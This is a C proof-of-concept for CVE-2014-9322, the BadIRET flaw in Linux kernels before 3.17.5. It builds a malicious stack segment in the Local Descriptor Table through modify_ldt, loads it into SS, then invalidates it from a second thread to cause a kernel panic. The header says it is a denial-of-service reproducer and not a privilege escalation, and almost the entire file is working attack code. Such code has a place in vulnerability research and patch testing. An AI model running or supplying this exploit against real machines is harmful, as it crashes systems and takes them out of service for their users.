/* ----------------------------------------------------------------------------------------------------
 * cve-2014-9322_poc.c
 *
 * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
 * properly handle faults associated with the Stack Segment (SS) segment
 * register, which allows local users to gain privileges by triggering an IRET
 * instruction that leads to access to a GS Base address from the wrong space.
 *
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 *
 * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
 * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
 *
 *
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c  -lpthread
 *
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/
 
  // Only works on x86_64 platform
 #ifdef __x86_64__
 
/* -----------------------   Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>

/* -----------------------   definitions ----------------------------*/

#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS

#define FALSE_SS_BASE 0x10000UL
#define MAP_SIZE  0x10000

/* -----------------------   Global variables ----------------------------*/

struct user_desc new_stack_segment;

/* -----------------------   functions ----------------------------*/

/**
 * Creates a new segment in Local Descriptor Table
 */
static bool add_ldt(struct user_desc *desc, const char *name)
{
 if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0)
 {
  return true;
 }
 else
 {
  printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
  printf("modify_ldt failed, %s\n", strerror(errno));
  return false;
 }
}

int FLAG = 0;

void * segManipulatorThread(void * none)
{
 new_stack_segment.entry_number    = 0x12;
 new_stack_segment.base_addr       = 0x10000;
 new_stack_segment.limit           = 0xffff;
 new_stack_segment.seg_32bit       = 1;
 new_stack_segment.contents        = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
 new_stack_segment.read_exec_only  = 0;
 new_stack_segment.limit_in_pages  = 0;
 new_stack_segment.seg_not_present = 0;
 new_stack_segment.useable         = 0;
 new_stack_segment.lm = 0;
 
 // Create a new stack segment
 add_ldt(&new_stack_segment, "newSS");
 
 // Wait for main thread to use new stack segment
 sleep(3); 

 // Invalidate stack segment
 new_stack_segment.seg_not_present = 1;
 add_ldt(&new_stack_segment, "newSS disable");
 FLAG = 1;
 sleep(15);
 
 return NULL;
}

/**
 * DOS poc for cve_2014_9322 vulnerability
 */
int main()
{

 pthread_t thread1;
 uint8_t *code;
 
 printf("[cve_2014_9322]: Preparing to exploit.\n");
 
 // map area for false SS
 code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
 if (code != (uint8_t *) FALSE_SS_BASE)
 {
  fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
  return -1;
 }
  
    printf("[cve_2014_9322]:  Panic!\n");
 if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
 {
  perror("[cve_2014_9322 error]: pthread_create");
  return false; 
 }
 
 // Wait for segManipulatorThread to create new stack segment
 sleep(1);

    // Set  stack segment to newly created one in segManipulatorThread
 asm volatile ("mov %0, %%ss;"
  :       
  :"r" (0x97)
 );
 
 while(FLAG == 0){};
 sleep(4);

 return 0;
}

#endif // __x86_64__